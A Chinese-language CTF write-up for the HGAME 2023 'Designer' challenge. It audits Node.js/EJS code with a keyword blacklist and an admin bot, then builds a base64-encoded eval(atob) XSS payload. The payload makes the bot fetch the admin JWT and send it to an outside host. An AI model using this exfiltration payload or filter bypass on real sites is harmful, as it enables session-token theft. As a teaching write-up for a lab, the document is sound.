[HGAME 2023 week2]Designer
考点:XSS跨站脚本攻击,模板注入
代码审计
function auth(req, res, next) {
const token = req.headers["authorization"]
if (!token) {
return res.redirect("/")
}
try {
const decoded = jwt.verify(token, secret) || {}
req.user = decoded
} catch {
return res.status(500).json({ msg: "jwt decode error" })
}
next()
}
定义了auth函数对token值进行解密
继续往下看
app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})
/user/register
路由接受POST传参,如果满足if条件则返回flag,,注意到token值会包含flag。这里需要从本地访问而XFF伪造ip失败。
我们重点看下面代码
app.post("/button/share", auth, async (req, res) => {
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
await page.click("#button")
res.json({ msg: "admin will see it later" })
})
/button/share
路由下使用await browser.newPage()
创建新的页面,并且将req.body对象编码为查询字符串导航到所给的本地url,接着执行js代码
app.get("/button/preview", (req, res) => {
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
]
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = ""
}
}
}
res.render("preview", { data: req.query })
})
/button/preview
路由定义了黑名单包括一些xss注入的关键词,然后渲染模板。
我们跟进到preview.ejs可以发现是存在模板注入的
<div class="button-wrapper">
<a
class="button"
id="button"
style="<% for (const key in data) { %><%- key %>:<%- data[key] %> ;<% }; %>"
>CLICK ME</a>
</div>
我们试试简单的payload
"><script>alert(1)</script>
我们要想得到flag,就得拿到正确的token值,也就是为admin用户并且ip是本地
我们可以借助/button/share
路由中的对本地的请求外带到我们自己服务器上,从而得到他跳转时的正确token
如何实现呢,借助jQuery的语法(原因是/button/share
可以解析执行js代码)
第三个参数为回调函数,将访问/user/register
的token返回给我们
$.post("/user/register",{"username":"admin"},function(result){document.location='http://5i781963p2.yicp.fun:80?c='+JSON.stringify(result)});
然后我们插入xss代码,借助eval函数和atob函数(用来base64解码,不能有=)去执行
我们先试试能否连接上我们服务器,访问并传参
/button/preview?"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzVpNzgxOTYzcDIueWljcC5mdW46ODA/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs'))</script>
jwt解一下会发现是假的flag,那么我们只需要借助/button/share
即可
得到正确token解密即可